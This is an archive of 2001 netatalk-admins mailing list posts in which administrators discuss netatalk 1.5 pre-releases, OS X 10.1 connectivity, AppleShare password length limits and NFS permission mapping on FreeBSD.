> From: Karen A Swanberg <swanberg@tc.umn.edu>
> Date: Thu, 4 Oct 2001 19:39:00 -0500 (CDT)
> To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
> Subject: new FAQ, pt. 1 (long)
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 4 Oct 2001 20:46:15 -0400 (EDT)
> 
> 
> What's the final solution (or has it been solved) for the trash problems?
> Both the "delete files immediately" and the files getting stuck in there
> with permission problems?
> 


From netatalk.administrators-errors@umich.edu  Fri Oct  5 07:50:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA24354
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 07:50:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA02640
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 07:50:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA02631
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 07:50:35 -0400 (EDT)
Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA02283
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 07:50:19 -0400 (EDT)
Received: from sibaz.com ([213.104.155.17]) by mta03-svc.ntlworld.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20011005115017.EIDM23687.mta03-svc.ntlworld.com@sibaz.com>;
          Fri, 5 Oct 2001 12:50:17 +0100
Message-ID: <3BBD9E29.53769CEF@sibaz.com>
Date: Fri, 05 Oct 2001 12:48:57 +0100
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en-GB,en,en-US
MIME-Version: 1.0
To: Karen A Swanberg <swanberg@tc.umn.edu>
CC: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] new FAQ, pt. 1 (long)
References: <Pine.SOL.4.20.0110041930430.16268-100000@garnet.tc.umn.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I found similar problems with a limit to 8 charachter passwords.  I felt it was on the mac side, rather than the unix one, as if you try to enter a 10 letter password in the chooser, it won't let you.
I may be wrong though.  I just told my users to limit their passwords.

Simon


From netatalk.administrators-errors@umich.edu  Fri Oct  5 09:10:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27157
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 09:10:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA07673
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 09:10:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA07659
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 09:10:40 -0400 (EDT)
Received: from video1.avwashington.com (video1.avwashington.com [216.177.38.67])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA07624
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 09:10:39 -0400 (EDT)
Received: from crow.avwashington.com (crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with ESMTP id JAA25019
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 09:26:25 -0400
Date: Fri, 5 Oct 2001 08:55:53 -0400
From: Chip Mefford <cmefford@avwashington.com>
To: netatalk-admins@umich.edu
Subject: Re: OS X irony
Message-ID: <20011005085553.A2845@crow.avwashington.com>
References: <B7E2899F.4BF7%rzeman@his.com> <Pine.GSO.4.31.0110042230130.19356-100000@math.ohio-state.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <Pine.GSO.4.31.0110042230130.19356-100000@math.ohio-state.edu>; from ccunning@math.ohio-state.edu on Thu, Oct 04, 2001 at 22:30:54 -0400
X-Mailer: Balsa 1.2.pre1
Lines: 15

On 2001.10.04 22:30 Chad Cunningham wrote:
> 
> I never got that to work so well, however 1.5pre7 and OSX
> 10.1 work fine.
> 10.0.4 doesn't work any better with 1.5pre7, so maybe
> someone at apple
> fixed whatever was causing the problem :)


Okay, so if I move from 1.5pre2 which I've munged
up to behave the way I want, to 1.5.pre7 I'll
actually be able to have my OSX10.1 clients
connect successfully? For real? No hassle?

 

From netatalk.administrators-errors@umich.edu  Fri Oct  5 09:18:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27643
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 09:18:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA22042
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 09:18:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA22022
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 09:18:23 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA21985
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 09:18:22 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.6/8.11.6) with ESMTP id f95DILG11479;
	Fri, 5 Oct 2001 09:18:21 -0400
Message-ID: <3BBDB399.3000008@univrel.pr.uconn.edu>
Date: Fri, 05 Oct 2001 09:20:25 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010914
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: 1.5pre8
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

netatalk 1.5pre8 has been released, and is available on sourceforge. It 
fixes many known problems with 1.5pre7, so all 1.5pre7 installs should 
be upgraded to this version.

http://sourceforge.net/projects/netatalk

(With apologies for the cross-post.)

Jeff


From netatalk.administrators-errors@umich.edu  Fri Oct  5 09:35:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA28255
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 09:35:24 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA25897
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 09:35:24 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA25880
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 09:35:24 -0400 (EDT)
Received: from mmb.bme.wisc.edu (mmb.bme.wisc.edu [144.92.12.200])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA25846
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 09:35:23 -0400 (EDT)
Received: from localhost (hzeringu@localhost)
	by mmb.bme.wisc.edu (8.11.6/8.11.2) with ESMTP id f95DZ2B14327;
	Fri, 5 Oct 2001 08:35:02 -0500
Date: Fri, 5 Oct 2001 08:35:02 -0500 (CDT)
From: "Henry C. Zeringue" <hzeringu@mmb.bme.wisc.edu>
To: Chip Mefford <cmefford@avwashington.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: OS X irony
In-Reply-To: <20011005085553.A2845@crow.avwashington.com>
Message-ID: <Pine.LNX.4.33.0110050828010.14153-100000@mmb.bme.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 5 Oct 2001, Chip Mefford wrote:

> Okay, so if I move from 1.5pre2 which I've munged
> up to behave the way I want, to 1.5.pre7 I'll
> actually be able to have my OSX10.1 clients
> connect successfully? For real? No hassle?

I set up RedHat 7.1 and installed the rpm that comes in the powertools.
I then uninstalled that rpm and compiled the sourceforge 1.5pre7 with

--prefix=/usr/local/atalk --enable-redhat --with-tcp-wrappers
--with-flock-locks --with-shadow --with-did=last

and it didn't work (with OSX), so I recompiled without the shadow option
and it worked with MacOS 10.1 (5G48)

I had to reinstall system and this time went straight to 1.5pre7 omitting
the shadow option and it didn't work (for any client). I quickly
reinstalled the rpm version just so my non-OSX clients could use it, but
I'm wondering if I have to go through this same round about compilation
(first with shadow then without) to get it to work, of if I did something
else differently...

I haven't had time to test this theory.

-- 
---------------------------------------------
Henry 'Gripp' Zeringue	Home:	(608)260-8098
Biomedical Engineering	Mobile:	(608)239-2168
1410 Engineering Dr.	Office:	(608)262-8212
Madison, WI 53706-1608	Lab:	(608)262-3013
hzeringu@cae.wisc.edu	Fax:	(608)265-9239
---------------------------------------------



From netatalk.administrators-errors@umich.edu  Fri Oct  5 09:43:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA28631
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 09:43:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA12106
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 09:43:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA12101
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 09:43:39 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA12078
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 09:43:38 -0400 (EDT)
X-VirusChecked: Checked
Received: (qmail 10835 invoked from network); 5 Oct 2001 13:40:19 -0000
Received: from smtp.morse.com (HELO mailgw1.morse.com) (195.152.231.118)
  by server-43.tower-1.london-2.starlabs.net with SMTP; 5 Oct 2001 13:40:19 -0000
Received: from bsexch1.morse.com (BSEXCH1 [10.10.202.3]) by mailgw1.morse.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 41H5CQ5F; Fri, 5 Oct 2001 14:42:56 +0100
Received: by BSEXCH1 with Internet Mail Service (5.5.2653.19)
	id <4J0X7N1T>; Fri, 5 Oct 2001 14:40:52 +0100
Message-ID: <55EC28DE870FD411A34D00508B6A767DD5E410@frexch1.morse.com>
From: Thomas Baumann <Thomas.Baumann@morse.com>
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: SuSE Linux and atalk 1.5pre
Date: Fri, 5 Oct 2001 14:34:35 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA28631

hi,

I“ve installed SuSE linux with atalk-1.4.99 rpm
and it is running fine, except the quark xpress problem...

how is the compiling syntax to build the same directory structure
as in SuSE Linux 7.2 to perform an update ?

I mean

./configure --prefix=/usr --mandir=/usr/share/man 

etc...

I hope somebody can provide the information

thanks

- tom

From netatalk.administrators-errors@umich.edu  Fri Oct  5 09:55:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA29040
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 09:55:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA24835
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 09:55:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA24816
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 09:55:02 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA24718
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 09:54:57 -0400 (EDT)
Received: from math.ohio-state.edu (hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.6/8.11.6) with ESMTP id f95DsuI07284;
	Fri, 5 Oct 2001 09:54:56 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 4587E19DFEB; Fri,  5 Oct 2001 09:54:52 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 438E6E6C79; Fri,  5 Oct 2001 09:54:52 -0400 (EDT)
Date: Fri, 5 Oct 2001 09:54:52 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
X-X-Sender:  <ccunning@localhost.localdomain>
To: Chip Mefford <cmefford@avwashington.com>
Cc: <netatalk-admins@umich.edu>
Subject: Re: OS X irony
In-Reply-To: <20011005085553.A2845@crow.avwashington.com>
Message-ID: <Pine.LNX.4.33.0110050953580.6301-100000@localhost.localdomain>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-RAVMilter-Version: 8.3.0(snapshot 20010925) (mathserv)



On Fri, 5 Oct 2001, Chip Mefford wrote:

> Okay, so if I move from 1.5pre2 which I've munged
> up to behave the way I want, to 1.5.pre7 I'll
> actually be able to have my OSX10.1 clients
> connect successfully? For real? No hassle?

Maybe :) All I can say for sure is that I installed 1.5pre7 from source
with no special options (./configure, make, make install) and my OS X 10.1
box has worked flawlessly with it.

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Fri Oct  5 10:36:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00589
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 10:36:09 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA07826
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 10:36:09 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA07800
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 10:36:08 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA07761
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 10:36:07 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 4414 invoked from network); 5 Oct 2001 14:31:58 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-30.tower-1.london-2.starlabs.net with SMTP; 5 Oct 2001 14:31:58 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id PAA11712; Fri, 5 Oct 2001 15:35:53 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id PAA23653; Fri, 5 Oct 2001 15:35:51 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256ADC.00502DA0 ; Fri, 5 Oct 2001 15:35:45 +0100
X-Lotus-FromDomain: HARLEQUIN
To: Chad Cunningham <ccunning@math.ohio-state.edu>
cc: netatalk-admins@umich.edu, Chip Mefford <cmefford@avwashington.com>
Message-ID: <80256ADC.00502D54.00@notescam.cam.harlequin.co.uk>
Date: Fri, 5 Oct 2001 15:35:43 +0100
Subject: Re: OS X irony
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

Did you try tran, say, a 500 megabyte file structure from OSX to the paritions
mounted via netatalk 1.5pre7? This crashes the 10.0.1 machine.

At 05/10/2001 14:54:52, Chad Cunningham <ccunning@math.ohio-state.edu> wrote:
#  On Fri, 5 Oct 2001, Chip Mefford wrote:
#
#  > Okay, so if I move from 1.5pre2 which I've munged
#  > up to behave the way I want, to 1.5.pre7 I'll
#  > actually be able to have my OSX10.1 clients
#  > connect successfully? For real? No hassle?
#
#  Maybe :) All I can say for sure is that I installed 1.5pre7 from source
#  with no special options (./configure, make, make install) and my OS X 10.1
#  box has worked flawlessly with it.
#
#  --
#
#  Chad Cunningham
#  ccunning@math.ohio-state.edu
#
#  "Well, once again my friend, we find that science is a two-headed beast. One
#  head is nice, it gives us aspirin and other modern conveniences,...but the
#  other head of science is bad! Oh beware the other head of science, Arthur, it
#  bites!"
#
Roger



From netatalk.administrators-errors@umich.edu  Fri Oct  5 11:13:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA02261
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 11:13:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA13088
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 11:13:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA13065
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 11:13:27 -0400 (EDT)
Received: from uis-1.unitedis.com (uis-1.unitedis.com [209.49.196.15])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA13035
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 11:13:26 -0400 (EDT)
Received: (qmail 7708 invoked by alias); 5 Oct 2001 15:12:29 -0000
Message-ID: <20011005151228.7706.qmail@uis-1.unitedis.com>
MBOX-Line: From rzeman@his.com  Fri Oct  5 11:12:28 2001
Mime-Version: 1.0
Date: Fri, 5 Oct 2001 11:12:00 -0400
References: <80256ADC.00502D54.00@notescam.cam.harlequin.co.uk>
X-Mailer: Groupwise 5.5.3.1
From: Rick Zeman <rzeman@his.com>
Cc: Chip Mefford <cmefford@avwashington.com>, netatalk-admins@umich.edu
Subject: Re: OS X irony
To: Chad Cunningham <ccunning@math.ohio-state.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA02261

I did from 1.4b2, both directions.  Worked well.

>>> <roger.day@globalgraphics.com> 10/05/01 10:35AM >>>
Did you try tran, say, a 500 megabyte file structure from OSX to the paritions
mounted via netatalk 1.5pre7? This crashes the 10.0.1 machine.

At 05/10/2001 14:54:52, Chad Cunningham <ccunning@math.ohio-state.edu> wrote:
#  On Fri, 5 Oct 2001, Chip Mefford wrote:
#
#  > Okay, so if I move from 1.5pre2 which I've munged
#  > up to behave the way I want, to 1.5.pre7 I'll
#  > actually be able to have my OSX10.1 clients
#  > connect successfully? For real? No hassle?
#
#  Maybe :) All I can say for sure is that I installed 1.5pre7 from source
#  with no special options (./configure, make, make install) and my OS X 10.1
#  box has worked flawlessly with it.
#
#  --
#
#  Chad Cunningham
#  ccunning@math.ohio-state.edu 
#
#  "Well, once again my friend, we find that science is a two-headed beast. One
#  head is nice, it gives us aspirin and other modern conveniences,...but the
#  other head of science is bad! Oh beware the other head of science, Arthur, it
#  bites!"
#
Roger



From netatalk.administrators-errors@umich.edu  Fri Oct  5 11:23:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA02805
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 11:23:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA02089
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 11:23:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA02077
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 11:23:12 -0400 (EDT)
Received: from mhub-w4.tc.umn.edu (mhub-w4.tc.umn.edu [160.94.160.49])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA02050
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 11:23:11 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-w4.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Fri, 5 Oct 2001 10:23:05 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Fri, 5 Oct 2001 10:23:04 -0500
Date: Fri, 5 Oct 2001 10:23:04 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Simon Bazley <sibaz@sibaz.com>
cc: netatalk-admins@umich.edu
Subject: Re: new FAQ, pt. 1 (long)
In-Reply-To: <3BBD9E29.53769CEF@sibaz.com>
Message-Id: <Pine.SOL.4.20.0110051021080.11728-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 10/05/01, Simon Bazley wisely declared:

> I found similar problems with a limit to 8 charachter passwords.  I felt it was on the mac side, rather than the unix one, as if you try to enter a 10 letter password in the chooser, it won't let you.
> I may be wrong though.  I just told my users to limit their passwords.

If you update your appleshare client to 3.8.8, and use the DHX UAM, you
can go up to 64 characters. See 

http://til.info.apple.com/techinfo.nsf/artnum/n60792?OpenDocument&software

(this site requires cookies, and a sign-in).

You can download the newest appleshare client there. I've added this
specifically into the FAQ, thanks for pointing it out.

-Karen

-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Fri Oct  5 11:52:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA04122
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 11:52:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA03773
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 11:52:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA03763
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 11:52:57 -0400 (EDT)
Received: from herilx ([206.87.74.130])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA03748
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 11:52:56 -0400 (EDT)
Received: from www-data by herilx with local (Exim 3.12 #1 (Debian))
	id 15pXLB-0006Fv-00; Fri, 05 Oct 2001 08:56:45 -0700
To: Rich Winkel <rich@math.missouri.edu>
Subject: Re: NFS and netatalk folder permissions
Message-ID: <1002297405.3bbdd83d09c6a@heritage.sd57.bc.ca>
Date: Fri, 05 Oct 2001 08:56:45 -0700 (PDT)
From: Mike Egglestone <megglestone@heritage.sd57.bc.ca>
Cc: netatalk-admins@umich.edu
References: <200110050125.f951PpR05307@pencil.math.missouri.edu>
In-Reply-To: <200110050125.f951PpR05307@pencil.math.missouri.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 24.69.73.114

Hi,
Are you using /etc/fstab to mount the partition?
What does your /etc/fstab look like?
I know nothing about freebsd, so if there is no
/etc/fstab, then I can't help.   :)

Mike

Quoting Rich Winkel <rich@math.missouri.edu>:

> I'm running netatalk-1.5p7 on freebsd 4.3-release.
> It appears that NFS messes up netatalk's access perms unless the
> nfs mount is done with root permissions (i.e. root on the nfs client
> has root credentials on the nfs'd disk).
> 
> Is this a known bug?  Is there a good workaround?
> 
> Thanks!
> Rich
> 
> 

From netatalk.administrators-errors@umich.edu  Fri Oct  5 12:40:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA06317
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 12:40:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA27131
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 12:40:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA27114
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 12:40:24 -0400 (EDT)
Received: from pencil.math.missouri.edu (pencil.math.missouri.edu [128.206.49.147])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA27086
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 12:40:23 -0400 (EDT)
Received: (from rich@localhost)
	by pencil.math.missouri.edu (8.11.3/8.11.3) id f95GeLr10653;
	Fri, 5 Oct 2001 11:40:21 -0500 (CDT)
	(envelope-from rich)
From: Rich Winkel <rich@math.missouri.edu>
Message-Id: <200110051640.f95GeLr10653@pencil.math.missouri.edu>
Subject: Re: NFS and netatalk folder permissions
In-Reply-To: <1002297405.3bbdd83d09c6a@heritage.sd57.bc.ca> "from Mike Egglestone
 at Oct 5, 2001 08:56:45 am"
To: Mike Egglestone <megglestone@heritage.sd57.bc.ca>
Date: Fri, 5 Oct 2001 11:40:21 -0500 (CDT)
CC: Rich Winkel <rich@math.missouri.edu>, netatalk-admins@umich.edu
X-Mailer: ELM [version 2.4ME+ PL82 (25)]
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII

According to Mike Egglestone:
> Are you using /etc/fstab to mount the partition?
> What does your /etc/fstab look like?
> I know nothing about freebsd, so if there is no
> /etc/fstab, then I can't help.   :)

Thanks for the reply!
The fstab entry is:
grok:/home/grok         /home/grok      nfs     rw,nosuid,nodev 0       0

But the permissions of root on the nfs disk are determined by the
/etc/exports file on the server.  When root is mapped to "nobody",
everyone's netatalk permissions are messed up.  For instance, for
a unix directory,

drwxr-xr-x is mapped to ro,ro,ro under netatalk.
drwxrwxr-x is mapped to ro,rw,ro.
drwxrwxrwx is mapped (correctly) to rw,rw,rw.
drwx--x--x = "?",--,--  (yes, a question mark shows up in the
                         get-info->sharing window)
drwxr-x--x = "?",ro,--
drwxrwx--x = "?",rw,--
d--xrwxrwx = rw,rw,rw

The settings of the suid and sgid bits have no effect on this problem.
Under the owner's unix shell account there is no such problem with
permissions.
When the nfs server's /etc/exports grants root permissions to root
on the nfs client, the problem goes away.

Rich


